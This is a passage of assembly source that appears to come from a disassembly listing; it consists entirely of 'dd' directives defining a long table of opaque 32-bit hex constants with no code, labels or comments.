		dd 0A84E0027h, 9C404317h, 0A5006EC9h, 1814AEEh,	60142919h
		dd 0DAD7D9A1h, 0AC01A85Dh, 0ABF325B4h, 6030CEEAh, 91FFE01Fh
		dd 6E8E006Ch, 84478C16h, 2DB1EB60h, 0A51DFDh, 4B7829E8h
		dd 0D048A95Ah, 6954F100h, 301B8292h, 0F03F283h,	23B6819h
		dd 7FCAA382h, 5A284448h, 64F09B00h, 0BEF63410h,	878200E1h
		dd 76D8EB62h, 0D319455Fh, 68116F4Ah, 98BA0440h,	0E910C170h
		dd 30FDDC01h, 910EA66Bh, 40C6E7F1h, 923FC716h, 0D5DD000Ch
		dd 6CF253FBh, 881E6084h, 0FF80B80Eh, 0A47C2F7Ah, 0D04B070Ah
		dd 90FA8B1Eh, 126C709Ah, 31B6F200h, 0C3587498h,	0F9F10780h
		dd 0E059CC6Dh, 932C67Eh, 1CDEBC03h, 0F8DB711Eh,	79DC0313h
		dd 87AA0346h, 779B57D5h, 0E05F8CA2h, 5CBC2A19h,	0BD000BD3h
		dd 0ECC30C6h, 6F738FAFh, 0D6A24800h, 3A8722ECh,	36D700D5h
		dd 4212E244h, 610051B2h, 79B7C15Dh, 25B081h, 0E850AFF2h
		dd 3FA9EBB8h, 622AB400h, 8F1B4830h, 54070081h, 906B3AF0h
		dd 3358B7C3h, 1700717Fh, 6C8A51D2h, 0F6C98D91h,	13F436h
		dd 42D7DC37h, 6BA3403h,	94B86C0Fh, 0FAE3E704h, 0AC4AFF20h
		dd 34120354h, 40B1EB2Bh, 43C8BAB0h, 0E3C07F0Bh,	0CC398037h
		dd 0DC553Bh, 0DFF385C4h, 7F4F5C9Bh, 5208B500h, 2AF974FAh
		dd 720C004Ch, 22D7E7D2h, 2D00FBB7h, 0E25E6A80h,	141F8D99h
		dd 0F865EA4Dh, 0EF036D3Fh, 407ED71Bh, 0FFBEAAh,	8CB03A4Dh
		dd 0DEE6A8h, 8D6F512Eh,	0DB443C06h, 80753D73h, 6CCF2400h
		dd 6D3E279Bh, 52E1AD0h,	2480591Fh, 379A736Ah, 5DB43F50h
		dd 240CF900h, 0DA3CFB26h, 0D84C24B6h, 85F300E1h, 145F1D83h
		dd 430A2901h, 5B0F40DBh, 1E0EC7C0h, 0D41C50h, 13BA1055h
		dd 3F002507h, 902B08EAh, 64D45DEh, 785B404Ch, 0D50031DAh
		dd 0BB745768h, 26090FEh, 1E9E88D0h, 0E083CDFDh,	36C8B0E7h
		dd 6A07E166h, 0D19A6093h, 76B51810h, 0ED742Dh, 829D084h
		dd 54A69B16h, 0B391B101h, 0EECEF198h, 0D5EAF4h,	33F81559h
		dd 0E780BE19h, 948AD900h, 0E5CEED77h, 93823FB1h, 40B23D9Dh
		dd 9DAE2B3Bh, 620159E6h, 9290D8DEh, 0BD01E93h, 5F1F004Fh
		dd 82D4E9EEh, 8A397D15h, 0E33280E4h, 8EA3C93Fh,	21A90365h
		dd 3C254FAFh, 5002B891h, 9BF745B8h, 56E36F16h, 619FAD00h
		dd 0F704822h, 0FB2D3DCAh, 0C0050BA5h, 0B55727A0h, 3774B709h
		dd 0A0770FE7h, 0E0B042DDh, 737A0Ch, 0FF2718C8h,	38F6EBF4h
		dd 6CAC4600h, 0EADA05F9h, 201E0168h, 86783993h,	0A0B5D8B9h
		dd 4DA15100h, 3E894E0Ah, 3B650241h, 1F7307Dh, 7EA0D040h
		dd 23AB7400h, 0A9033D11h, 0C06E7025h, 0F15F87C1h, 0C201BD46h
		dd 0E2A19EB7h, 10D077B4h, 0AA2900D1h, 58CC73A3h, 0F69030D0h
		dd 0FA832601h, 0E0FD27EDh, 0F6F9C1C3h, 6FBB2C4h, 8F4C1B09h
		dd 0E300B85Ch, 0C089B7AAh, 1F9BA829h, 0C0BF2AE7h, 0ED7E865h
		dd 2361EB61h, 0E0F44378h, 0E31CC8F7h, 0CE3F093Dh, 600055FDh
		dd 80F3C0A4h, 0E70FC100h, 1D05938Dh, 0BF70536h,	0C040901Ah
		dd 42792B7Ch, 692DA904h, 9880833Dh, 60C73034h, 2C2FC06Ah
		dd 1800BBD8h, 33DC0714h, 0F8CF7CAEh, 0E0601338h, 0FB44023Ch
		dd 23E282EEh, 85D8C448h, 0CEF2E00h, 0EC4577E2h,	0DCE01DBFh
		dd 3E303F04h, 5A25B7A0h, 84410B00h, 0CB0C2BE7h,	713600B6h
		dd 0E03EA338h
		dd 62E2C7D1h, 0BCEAAA00h, 0C91E5725h, 44CA0046h, 0AF663072h
		dd 0EF00357Dh, 9A3B7C2Ch, 86921Dh, 0DB45656Bh, 0D50888A3h
		dd 981F0F00h, 9BE89726h, 0A647002Ah, 4EA1C04Ah,	9E09689Ch
		dd 80BA767Ah, 90FC92CCh, 8AD33E61h, 69D87E00h, 6DCB49A8h
		dd 9B840302h, 0E0ABC6CDh, 0D75581h, 0E5F5FC1Bh,	0DD3E3832h
		dd 56731900h, 117E16EDh, 1B7EE6h, 2A42E013h, 29C17A1Ah
		dd 0AF5C6200h, 871938DDh, 0D9200E46h, 4F811F21h, 0E0BD4A26h
		dd 6B0B0403h, 77A40BCCh, 92077580h, 2B1615CDh, 800AAEDh
		dd 0C504E8EAh, 0F31A3BB4h, 700043B8h, 13FC24C3h, 0DD01D180h
		dd 0CE52B6F5h, 74345BD6h, 0DC5400F7h, 11BF08C9h, 2E005CA2h
		dd 1A63F40Ah, 7E3B78h, 0A7040D44h, 3625625Ah, 2E829901h
		dd 4AD8D59Dh, 3A24E8CFh, 32340073h, 52A230A0h, 26489BC6h
		dd 7B400000h, 75D427BBh, 0C385010Fh, 0AE8B129Ch, 4F2FE8DAh
		dd 89484000h, 17A51AC1h, 3790EBh, 949F79E8h, 0BA74E2BBh
		dd 0DDBE5100h, 0DF3B58B4h, 0B75603AFh, 5E5D9B3Ah, 6CD26AA0h
		dd 0BC075B00h, 0CF13476Dh, 52010168h, 0B3DBC148h, 1E442423h
		dd 3F498A00h, 20ECC302h, 4F4D0091h, 14B8C903h, 0BF006576h
		dd 709FA172h, 4EEF51h, 0FACA199Dh, 0AFB8C047h, 0BDDBE60Eh
		dd 823007Fh, 786F9987h,	32D000D6h, 171B76C1h, 370086F6h
		dd 0CA6D197Ah, 0B08983h, 97804744h, 0C9D2429Bh,	0ACE7200h
		dd 0CA663BF2h, 0B22D0041h, 0B7F05974h, 0FF175A4Ch, 3F02B499h
		dd 0E078ED72h, 54CD14h,	51810ED6h, 16FBA52Dh, 73041448h
		dd 878A9709h, 3048A05Ah, 0F6EF2Ch, 175E1BE0h, 5581FD5h
		dd 88A80400h, 0E297D16Bh, 35C72436h, 0FA710094h, 0BF506C29h
		dd 0FCA8F200h, 23C3B61Ch, 9A7E2Ah, 0E906A255h, 0BF6D04DFh
		dd 5C4EBA00h, 0E359E119h, 0EA7DB818h, 7BF90016h, 0CFEF109Eh
		dd 0D03CDAF7h, 58B580F6h, 0B37D78E7h, 4C600BCEh, 8EDDBA5Bh
		dd 6B5A40D8h, 745806D6h, 0B32D3B12h, 8700C93Dh,	868DCF4Bh
		dd 0FE074401h, 783FFCB8h, 82810CA0h, 6E3300B2h,	6717BD8Ah
		dd 140028DBh, 0A62D9A99h, 11ECF8h, 0DEFBED5Bh, 715565CAh
		dd 89C68C38h, 0BC3940h,	3EAC50B3h, 0B4C200A7h, 0F288834Ah
		dd 0DF000F84h, 0B6210D2Ah, 0E7433Bh, 3FFBD072h,	7035394h
		dd 8F17F401h, 58D79D2Dh, 435D0h, 987C24FCh, 9378C16Ch
		dd 7E8CF800h, 737156DAh, 87543AD8h, 0EED0A700h,	0FA6AF2FCh
		dd 1F18F100h, 978BD40h,	63A60016h, 89F717B3h, 5C00FF49h
		dd 44DCF366h, 0E6CD38Ch, 0A4457BD6h, 7D1F9CAh, 0F0AE48E9h
		dd 4C5E2CBDh, 37681200h, 0EE8778A2h, 58794C53h,	755A077Eh
		dd 30880F2Eh, 3FB9C0ACh, 0BB005098h, 0B7D7466Dh, 7C5AE747h
		dd 87731F06h, 235280A0h, 8971B6D8h, 660037E0h, 0F1BA32F4h
		dd 0F3820C1Eh, 2D1FC0h,	7A35D9AEh, 133F38F0h, 0B997670Eh
		dd 817324DAh, 8F063080h, 5BFB0076h, 4ED553F0h, 0BB0149D9h
		dd 0EF1FFF60h, 0FBD0D10Dh, 5CB60019h, 0C24CE68Ch, 44017720h
		dd 0DAD4323Bh, 0E9F46145h, 6CCA1D22h, 0BF2140ABh, 3FEE1AF3h
		dd 513FF05h, 8A008893h,	7046A628h, 62B200C5h, 7D1A5CE6h
		dd 407899Ch, 74C4A15h, 0E04C1C77h, 0CE60059h, 2FFED9F0h
		dd 0BB01CDCFh, 0C8032DBAh, 2C2DA6B1h, 0D9099700h, 6C643E7Eh
		dd 3368400h, 0F3F6D65h,	0A0990041h, 3969717Fh, 6F304301h
		dd 4CD11ABh, 92A35147h,	0EE06EC5h, 343E0141h, 3AEFB863h
		dd 686080ECh, 0E35AA06Ch, 0F5F247h, 2C208F89h, 0E7D8E896h
		dd 63106161h, 9900EBCEh, 0FEFAEE8Ch, 28D98A00h,	0B79B092Ch
		dd 8BFB193Dh, 0E45B20F5h, 60D3EAFDh, 68B0FF1Fh,	3A3AECDAh
		dd 5A30EFE4h, 0E3C738E1h, 0D4210860h, 7299FA3Ah, 8CAD05C0h
		dd 1C29EF16h, 3AF94054h, 5A8964CCh, 439C5D00h, 87C9548Bh
		dd 0D3ED008Fh, 46DE7E05h, 7B00DF77h, 6F726B56h,	96B606h
		dd 43E9C519h, 150DC183h, 0B3861F00h, 255ACF73h,	557500FAh
		dd 0B10881E6h, 0BC040DB4h, 6F69D3D9h, 7B7C31C0h, 1E16003Eh
		dd 241DB15Dh, 4A0EBF05h, 0A1EDA257h, 8120FF43h,	7D86CD0h
		dd 8E027651h, 0BB9EA009h, 53031636h, 5D6D71A4h,	14D17759h
		dd 0B4A7EDADh, 0B021F978h, 78861880h, 0AE183727h, 2C60B700h
		dd 15300879h, 63C200A9h, 3E166F2Fh, 0C400EC27h,	55C5127Bh
		dd 3B6510h, 0D93667BBh,	356B2A51h, 315AB200h, 71CF7DB1h
		dd 3E8D01DAh, 0F752A968h, 0AA83DCD3h, 4B0F3900h, 4E6177C2h
		dd 0ACCF0050h, 0B0A5B876h, 0C71E1509h, 71815E3Ch, 0A0F560D0h
		dd 1DAD0270h, 803ED101h, 420D8A1Ch, 0AB004644h,	0C027BCEBh
		dd 2F98C9h, 475AD83h, 0DCFFF88Bh, 0F5411700h, 0F376C56h
		dd 10216719h, 5825F0D1h, 8400675Ah, 1DDBA382h, 30D8607h
		dd 4F0CA8CFh, 0EF19443h, 0FCD3DC10h, 0F989F605h, 0BA008235h
		dd 0B317629Eh, 486A3D93h, 21F000F8h, 0E1899963h, 830266A6h
		dd 7F7B95DFh, 0C00FDE6h, 1285E5FDh, 0C46E0300h,	9095B6D1h
		dd 74AE00D0h, 803516CDh, 0D90008F3h, 0A7C54B78h, 1D121144h
		dd 0F57679h, 0B81FDBA1h, 39038A55h, 58170C5Ah, 0B935C0FEh
		dd 693317E4h, 3CB71DCCh, 6989583h, 0EDF09066h, 0DF008B42h
		dd 0C661BEF3h, 0B0F862D0h, 508F39B9h, 9777912h,	1B003790h
		dd 21A07DD1h, 0FADA4D00h, 2071A14h, 80DF3C25h, 40E9911Ch
		dd 0EF4C1D31h, 2A001292h, 4932B28Ah, 1A16C3Eh, 4A3673BAh
		dd 246FA2DBh, 84006ABCh, 259BCA70h, 50F8BF1h, 2BA3792Fh
		dd 1340807Eh, 0AC047420h, 73BC7F06h, 0AFAF1482h, 7CAB40CCh
		dd 11ADC0Ah, 0CB4360FAh, 0C5FB5B1Bh, 0E4B6DDDDh, 290A3C42h
		dd 0C4FE16A0h, 140D0107h, 0AAEE7C50h, 28ED009Ah, 0E533BC5Fh
		dd 8B003D2Bh, 885B8198h, 26D131h, 0DB6E368Dh, 790311C3h
		dd 0B2030DF0h, 19AC856Dh, 0A088009Ch, 0D2787AD1h, 0C50FFC0Ch
		dd 0A08D066Ah, 2A08B2ABh, 0EC90002h, 776B58B3h,	7E00745Eh
		dd 47761FE6h, 38CFA3C8h, 350062D7h, 5E3ABAEFh, 80350CEh
		dd 3F58DBA2h, 0E640C010h, 0F94C009Eh, 0E15591F6h, 9A00EE4Eh
		dd 5195F5CCh, 96F0B6h, 834182DDh, 6281EDB8h, 0E4C548h
		dd 0AE1AEF89h, 7774AC3Fh, 0FDB60044h, 0FBB1F701h, 82043D50h
		dd 55105A78h, 8E6550C0h, 0ABFC52h, 1794F728h, 44EB7C60h
		dd 0F297AA00h, 82C02AACh, 0C6B0011Dh, 0E037B3FEh, 0A97EC80Eh
		dd 4515Ch, 59E54A91h, 12AD523h,	0C95EFEA6h, 8BF7067Dh
		dd 8194D9C0h, 0CB4B6641h, 4DF5EDE4h, 0C07648CAh, 446E74B0h
		dd 0C1015E4Ch, 43BDC79Bh, 0E230220Bh, 0E194079Eh, 6C8E25B0h
		dd 0F80069A0h, 364A8230h, 3F35D4A5h, 0B500F657h, 70BA7DC1h
		dd 8F002D43h, 0EFEE8B91h, 321E61Ch, 9AB04155h, 0FBE8D96Ah
		dd 0BD002AB9h, 0DE116CA4h, 7F780Eh, 5D8CD0A0h, 0A65002C2h
		dd 7960ABF6h, 83123716h, 2C99EA2Eh, 8E946445h, 0F9428F0Fh
		dd 54487015h, 580038AEh, 5193C685h, 786DD93Eh, 412A0013h
		dd 231BE665h, 9000C486h, 0A9796F62h, 47CE160h, 0BB91C1DCh
		dd 86628076h, 0AF0018CAh, 0E2E7BD8Eh, 0EE6242h,	3722B91Ah
		dd 11E02AEFh, 1CB5CF0Fh, 1DC9C00Eh, 0F3895h, 0ABA2E89Eh
		dd 3C4F9663h, 12F7305Ch, 2D00440Ah, 0D8EF9082h,	0B9B100B2h
		dd 88CD7C1h, 0BB00CACFh, 66A5E79Bh, 0A4C437h, 0C810FF88h
		dd 0EB75F75Eh, 8054083Eh, 648CF529h, 0CE42ECh, 0BFA6E83Dh
		dd 9504F74h, 0D1898F00h
		dd 967CE2F7h, 5A3D00EDh, 0B9C27A58h, 0E00013D6h, 0B836A726h
		dd 741865h, 0BAC550FCh,	0EC57255Ch, 9AF82F00h, 8BCAD452h
		dd 4FDD000Ch, 0F6EDA7E7h, 8000F2F4h, 0B88504F9h, 0F8AEEEh
		dd 70673089h, 0A4075B01h, 20E0FB00h, 0EC62A568h, 58C0007Bh
		dd 0D3BA4735h, 2703697Ch, 6B2F5204h, 0E03D82A4h, 9A66117h
		dd 0B125E74Ch, 5A5454A0h, 0FA2638BBh, 0B000FD49h, 3F6E094Ah
		dd 0E3450E23h, 0DFC09390h, 8A91F418h, 8447C22Ch, 0D443AA80h
		dd 8CBC36h, 0EC553281h,	4E18F14Ch, 0F7D2FA0Fh, 1F105B26h
		dd 0C03B02D9h, 878B1C75h, 9F03AAC8h, 0F33F408Ah, 0D581A0F8h
		dd 5DCD1F89h, 0E27B40A7h, 0C033B759h, 0C6F11300h, 0A1570A3Fh
		dd 9A29067h, 66B2F48Eh,	0F6A004AEh, 0C880DC2Fh,	2B1FA6F8h
		dd 0F37FAD84h, 63FE4E00h, 219CD00Fh, 78A200C3h,	9336168Ah
		dd 0AEE29AF3h, 468984Ch, 19BCDB97h, 0F2B73281h,	4692C8h
		dd 13ED590Ah, 53778265h, 2C7D3Eh, 0ACA9D8A0h, 8FCEB8h
		dd 42DF542Fh, 0EBADD413h, 55800A00h, 0C35EF4D0h, 0CDFF589Ch
		dd 83F80074h, 992FDBB5h, 6B4C2431h, 0EF9700C6h,	0CFEAA3Fh
		dd 1C230057h, 26D4D7C5h, 1600AB63h, 0CCD02832h,	4C344F0Dh
		dd 3A0088D1h, 0F61C646h, 3600744Ch, 0BF4822A7h,	367A52Dh
		dd 0C3D78E7Bh, 0D6E88DFEh, 7500813Eh, 0B8985E5Ah, 25C9661h
		dd 332F88C7h, 0F04369A4h, 394FD6A8h, 0E4C8504h,	6BC0A227h
		dd 0F4DF62F6h, 99AF0053h, 95940716h, 8200B29Ah,	0BDADD6A9h
		dd 0D5CD4Eh, 34292064h,	0C3276E93h, 0C0FDB100h,	4AA1D97Ah
		dd 0FBE30F50h, 956E15E4h, 0FFC2DEE0h, 0F6179496h, 0F5000931h
		dd 4C76AA29h, 0F2FB0161h, 0F4D690B0h, 0C45C70F9h, 0A96D3800h
		dd 9B30FF1Ch, 0AC970020h, 0E4BB3FF5h, 0AC98EC79h, 0DD677000h
		dd 41AD8F25h, 981300EBh, 0ED62C4A6h, 55ECAC93h,	7D8CAE60h
		dd 41C06Eh, 145D9C53h, 0B92FE5DBh, 0A1DA3900h, 0D9D5CEB0h
		dd 0DC1E244Eh, 22C88068h, 0BD029DDFh, 38D36000h, 0C45C9B79h
		dd 598EC6Ah, 0DAD846D2h, 8CAA0029h, 96DD9F53h, 9C037198h
		dd 0CEB9DBB0h, 0B512E87Eh, 1E927911h, 406C2E79h, 5CCA52F2h
		dd 1C075F7Bh, 0D671C1F5h, 0DF7EAEBFh, 0D8A3F0C0h, 778B117h
		dd 0B7AAE1C9h, 8BC62037h, 827B01FBh, 9B3C477Dh,	86F10F08h
		dd 0DA5AE15Ch, 0EEC467E7h, 0DC8250F5h, 4A1F3990h, 8BC13D05h
		dd 67D89876h, 809C9F17h, 52B7D800h, 255401h, 38FDFB97h
		dd 30BACF2Ch, 0F90421C5h, 0E4E17890h, 97E913B9h, 9E30554h
		dd 961FC06Bh, 3738268h,	42FEFCF2h, 17C5A000h, 4469F15Ch
		dd 0BE18011Bh, 773E15E3h, 7196C527h, 47D894C3h,	39690099h
		dd 0C8510562h, 7EAC1h, 0E5856EDFh, 9AB957F1h, 9E1C9500h
		dd 0F481A6B1h, 55590030h, 1B731FA3h, 4300AF08h,	656845D7h
		dd 0DBE74Dh, 0A2F41E81h, 0E3588A32h, 10519800h,	762411F5h
		dd 0F02600DAh, 0D6A0FE1Eh, 4093BFBh, 5DF6Bh, 64F8088Bh
		dd 0D0CE00F0h, 4922134Fh, 4045BCFh, 39BDD391h, 66A580FAh
		dd 0B20438C3h, 83F68530h, 92EEA8C0h, 1757E265h,	2780DAh
		dd 77B906A9h, 96F23B46h, 9103EA00h, 0C8F1BAABh,	80DA4A17h
		dd 0AA419E7Ch, 6188F00h, 0E322AD11h, 1A8C0309h,	26572BE8h
		dd 1B88A002h, 8FAA2CE9h, 16EB4008h, 0CA2154h, 0F20C8108h
		dd 0E7E34B2Dh, 936B4313h, 46DD1090h, 0F5597EECh, 0C73AA9DBh
		dd 809D3061h, 284E3CDAh, 1836268h, 8F61F141h, 0D081E7E4h
		dd 380F2320h, 40453B42h, 64D322A4h, 0DE6B90D0h,	0FD9BC220h
		dd 94527294h, 630452E8h, 8EF9F5A7h, 6B006CE3h, 0EE3BECFCh
		dd 589CD9AFh, 0BCDD1D00h, 1671A3EFh, 40B6B353h,	57D3C2D6h
		dd 0A20FE470h, 0C3C5E0B7h, 0C8FD486Bh, 7A55E1h,	344A441Eh
		dd 5935F9CDh, 0E3732501h, 0C03FCA92h, 0E570F2EDh, 0FACC0080h
		dd 2C1E6A3Bh, 100FC3C5h, 0E0692AB4h, 28A831F0h,	0E33E0193h
		dd 0A3509E36h, 0CC68E8h, 0CC1CD38Ah, 898B59h, 1B574522h
		dd 577A8C3h, 8AC1D209h,	9B9600A1h, 7D4CC51Ah, 5FA31248h
		dd 9789014Bh, 0EC730DA8h, 861F4943h, 0C8408896h, 0AB031687h
		dd 90F100B2h, 1B94B912h, 5E0056B7h, 0BFB895E7h,	75786B82h
		dd 695200CEh, 4BAC8AB6h, 2F0E808Dh, 0CF1268BBh,	0DDE3C772h
		dd 0EAE85430h, 252E3E5Bh, 0F16F5800h, 43343D9Dh, 82B594C3h
		dd 8CB6A881h, 0B8760025h, 9A9DC471h, 93F0F22Bh,	9CD40C1Fh
		dd 68C35B04h, 40FA4F5h,	0C08CBA34h, 6F622034h, 87DE4800h
		dd 99B0A98Fh, 0D80100C1h, 0D1BA63B9h, 610C6EA0h, 297B9E2Dh
		dd 60A8448Bh, 84CDC944h, 2269B822h, 0D278BF57h,	89A38988h
		dd 5324E224h, 12C0DB21h, 0FDD910A5h, 44BF4B40h,	0D744A2BEh
		dd 98328481h, 133B5160h, 7D22D482h, 0F44922A4h,	14040725h
		dd 7948DF0Bh, 13C4819Fh, 6CC04382h, 8871Ah, 0BC428B2Ah
		dd 1284118Fh, 0EC812C1Eh, 0F81C7896h, 74CF7A41h, 0ABF90D82h
		dd 7F2656C4h, 66EF4862h, 0C5475009h, 84F44780h,	0C70A1CEh
		dd 5357D000h, 0A4544F60h, 0E3712705h, 0DC1D2000h, 0FF02CA25h
		dd 799E74BEh, 695540C4h, 40E400B4h, 30903236h, 0E700EBE0h
		dd 20AFB52Eh, 0F6D31C72h, 160E00B3h, 0B0E153F1h, 887EA5D7h
		dd 562E38h, 9C2ADC47h, 0F82777Ch, 83E0279Bh, 0BFA58800h
		dd 931F14B9h, 0FAC75A7Fh, 0E0BE61C9h, 3ABDB67Eh, 6FF03A0h
		dd 0A6C214E5h, 3C7D1801h, 38BECD74h, 3AA998E4h,	2100C0DFh
		dd 0F46E1765h, 3C9230A8h, 0C97EA4E6h, 0C834E807h, 0F6F0F17Eh
		dd 0D1819Fh, 99D83705h,	6802E1F9h, 325D000h, 7EDF71F0h
		dd 0A826006Eh, 0E2EFC90Ch, 0CE00361Dh, 3E11D84Eh, 3CE00Dh
		dd 0EE478B07h, 0A562A806h, 0E19B660Eh, 0E000B3BEh, 3E37C203h
		dd 93363988h, 49244200h, 0A2CBE818h, 0F025C000h, 38898269h
		dd 0E0735CF6h, 0AAFA4000h, 0BD278C58h, 2D43020Fh, 0DB5141ACh
		dd 9CD004EBh, 0A16A011Ch, 52056BBFh, 9EB9C875h,	59807680h
		dd 0BB3B048Eh, 400D0796h, 0A96AF6ECh, 9D1CEEFDh, 351357B2h
		dd 0A01EEFh, 0ABBF2E33h, 0B10036D6h, 0F6B425EAh, 0E69944h
		dd 5B118A6Ah, 484FC01Fh, 3D879000h, 3464C82Ch, 96AF2EA4h
		dd 5B970008h, 0CADB17F8h, 0E1695100h, 6DACFE12h, 87680027h
		dd 52662E49h, 0F0072293h, 1D31D320h, 0E88FB150h, 92A3382Ch
		dd 8049DD1Fh, 488C0F50h, 0AE007A30h, 0A747D982h, 0B01752CFh
		dd 9FF90007h, 0EA995F0Dh, 34007D18h, 7BC73B4Ch,	0F655FDC5h
		dd 78570002h, 8C283EC2h, 1707F4B4h, 0DF8A4534h,	0A0884E73h
		dd 1BB0D4Ch, 0B55FFC80h, 705199BAh, 0A41344FFh,	30056B2h
		dd 0F84D9CA3h, 9EC00E5h, 8045C75Bh, 2900FA61h, 0E73E3B9Bh
		dd 73B755h, 0C993860Ah,	99B93F21h, 8A6B870Eh, 0B7D1E1AAh
		dd 4AE4FEBDh, 0BF4E261h, 6CA92519h, 0E9811062h,	0F5DD8339h
		dd 0D44021FDh, 86007227h, 54D6B2D4h, 26CA34D2h,	83A4D58Dh
		dd 0F7849A31h, 40BD83C8h, 0ACB33201h, 2F7E80C9h, 0B130E0h
		dd 0F0B0FBAAh, 0A19C8F4Ch, 0EF68DE0Fh, 0A08A4EE7h, 0E97EC0A6h
		dd 8486031Eh, 71DB80EDh, 8F5AF9B0h, 0BECF14B8h,	4272606Eh
		dd 1CB0B85Ch, 0C01B9F44h, 0E7372991h, 6277F1D1h, 0BD00E9FEh
		dd 672DE270h, 140FAEBh,	0AA8689C6h, 0C41B173Ah,	1F007B5Fh
		dd 2BD5DCA1h, 90EA30Ah,	7F57C324h, 3F606480h, 3C0001CCh
		dd 0D1FF47BAh, 7943989Ah, 0C7240096h, 69627881h, 10063D9h
		dd 0FCD007F4h, 0ED68D5h
		dd 8B35E0ABh, 9167AFE7h, 54E2AC13h, 9B2D58C0h, 0C0FF0087h
		dd 98D05962h, 0A2E6ECC3h, 896E2600h, 2B9BF3CEh,	0C26803AFh
		dd 0E3B19061h, 3AC42298h, 3201BFFAh, 0DA8840F9h, 0B5E31915h
		dd 0C06C4CA0h, 7C92AC2Ch, 83002C38h, 2B5AC103h,	3FA3F9h
		dd 0AE5C966Eh, 974C99F1h, 623D48h, 7B91EE4Dh, 0F498045Eh
		dd 8F9A0095h, 0B5BE676h, 601CFC6h, 0A6DDF52Eh, 99413A2Ch
		dd 0B94045F4h, 6FEBD1h,	226A1A8Fh, 63D77271h, 153BC479h
		dd 0F078802Bh, 11C85090h, 0E31B0026h, 6B9AE13Fh, 0EC01D2F2h
		dd 3B943813h, 0FDD020B0h, 1FF264h, 0FF5C517h, 914314EFh
		dd 48402F5Bh, 3D2D667Eh, 1F25006Eh, 9EFA7AB2h, 0CE1F6F87h
		dd 148098D4h, 0AF319B36h, 77DB1h, 42D72F01h, 92FDBCCEh
		dd 0F2766076h, 6B0571E4h, 0F69E0FA7h, 4BF1ECC0h, 91A5F485h
		dd 0F942004Ch, 69D3986Ah, 845CEC48h, 688937E9h,	0E7844F6h
		dd 0F6879D04h, 0A3B81E0h, 720FEF95h, 20C83A49h,	3353052Ah
		dd 55182E86h, 0A9DE00C6h, 0C5410311h, 710079ECh, 8497523Ah
		dd 0FEE65Ch, 0E50A4AEAh, 0CF58564Eh, 82D59900h,	30332E9Ch
		dd 244000B4h, 76E4EA5Eh, 0B494F9F2h, 89E03780h,	0F45092D9h
		dd 237C00F1h, 1CFE5848h, 0C70FC3E2h, 0C052BEC4h, 29E449F6h
		dd 7A190B75h, 0E880FC6Fh, 0FB55401Dh, 0A25D7603h, 0D0741FC5h
		dd 22546Bh, 0ECAD95F9h,	2C47CFE1h, 5C1A580Fh, 94AB2034h
		dd 3064FDCh, 0D6622D55h, 1FE8AA49h, 87072156h, 63FABE97h
		dd 7B3207B0h, 6C040165h, 79C8F37Ah, 395ED813h, 8045E13Fh
		dd 694E1476h, 0ACDFB9h,	6BFF1BCFh, 0E2A14CA4h, 286D0700h
		dd 6EE3534Eh, 55F85806h, 1170C000h, 0C21B3C3Bh,	314ABD01h
		dd 8534A81Fh, 98E03A30h, 4D5D0FC2h, 0B68B75h, 94837329h
		dd 1CEEAC54h, 557E3102h, 0E0F4DAAAh, 0BF207Fh, 3440EF4Eh
		dd 7175D6DEh, 0ECAAC400h, 537B7E95h, 2E5000EEh,	58012AC1h
		dd 5B00A71Bh, 848BAA71h, 1200586h, 0F3E5E95Dh, 0F43508A9h
		dd 15003032h, 5EFC506h,	0B7C1BDh, 5224A29Eh, 0B1570D96h
		dd 0B46E6600h, 0FE7EBE4Dh, 97370FA0h, 622E16ACh, 102EE4C0h
		dd 0BC9A01B7h, 0EF70FE01h, 0BFC613D4h, 7E71E4E0h, 0C10C0FF0h
		dd 47076BAAh, 0C43EE0DEh, 42008C9Ch, 8D782D9Dh,	4C8FB45Eh
		dd 72039DA6h, 0F2CB4093h, 0DA6B69A0h, 0A5A27104h, 2C90E66Ah
		dd 74431F5Ch, 345F00A6h, 3D54DE4Eh, 1B1ECAF8h, 7640FF2Fh
		dd 0B411D975h, 7BBC0022h, 0B393DFBFh, 0FB3FD520h, 49A0812Ah
		dd 64B0BECFh, 0C452C9D3h, 7E08D8h, 56092DBCh, 0AC060797h
		dd 3F67E71Fh, 8D9BE5C5h, 38875BC1h, 119EEF0h, 0ABD597DAh
		dd 0C0D1C50Eh, 992433A8h, 7A0054EBh, 10247CA0h,	41F056h
		dd 5FA12D69h, 936EA93Eh, 29793907h, 0B0A0650Eh,	8354F8h
		dd 0AFEF2BF0h, 0CC96DF28h, 665D0600h, 0D1E81993h, 0CFCA00A6h
		dd 9B45C06Fh, 0B87E56D8h, 688024EEh, 5A4D09EBh,	63826CBBh
		dd 724021FDh, 11EAD71Eh, 9482B02h, 0E1763635h, 0A6807548h
		dd 0FC2DECF7h, 5D00CC66h, 0A0D6AE51h, 1C548F08h, 0C05EDA9Ch
		dd 0A215368Bh, 0AD006E1Fh, 8A7037F9h, 0A053B3h,	91DD9B6Dh
		dd 695344Fh, 59CBEC07h,	6020799Dh, 14E9243h, 0A0C95EC6h
		dd 0FC44C171h, 8107E510h, 122C7917h, 0A8706340h, 50E24C23h
		dd 9CD0F100h, 0EB828466h, 687D501h, 364FCB86h, 93FC2421h
		dd 7BFA2C97h, 3E31260h,	7F3C08F7h, 0BCE009AFh, 85E60734h
		dd 581ED072h, 4AC0CD66h, 10F6D7E8h, 3133009Ch, 1D9E5AF7h
		dd 0BC0035A1h, 0E7E31162h, 3A65BDh, 0C37C2E26h,	1B0ADA59h
		dd 506DBF17h, 79412A1Ch, 0ACF47DFDh, 3C443DD0h,	8100DBAFh
		dd 3FD42138h, 9F077C47h, 2A924D24h, 0CC2065B0h,	28200CEh
		dd 78741AFAh, 7A079B4Ch, 67452813h, 9506E6D0h, 0D9C5098Bh
		dd 0A9803893h, 0C93CBEEBh, 0F6EE78F8h, 798A6300h, 91D6B9AEh
		dd 99DE005Bh, 83431A56h, 8D1725D3h, 0ECC0DAA2h,	74D24DCEh
		dd 1D9882h, 6789E67Ch, 9EC8A23Dh, 0D9C6F200h, 29737915h
		dd 2FCD07A0h, 0C097FC83h, 0BDD7223Dh, 3940E800h, 35B6F2E6h
		dd 0C84200B2h, 0A278C568h, 6B0973A3h, 5060190h,	9F80B358h
		dd 7E1AF27Dh, 0D85E0021h, 5B208E76h, 18B8B727h,	97875D3Eh
		dd 94400E4Dh, 536D835Ah, 0ECC63B24h, 0F57E26h, 0CEDED4F0h
		dd 4790829Eh, 0D073C476h, 0C98A7300h, 6FCDF43h,	3ABA015Eh
		dd 59D70216h, 0DCB0FF94h, 3900E785h, 7EFEEFCh, 7A2C9953h
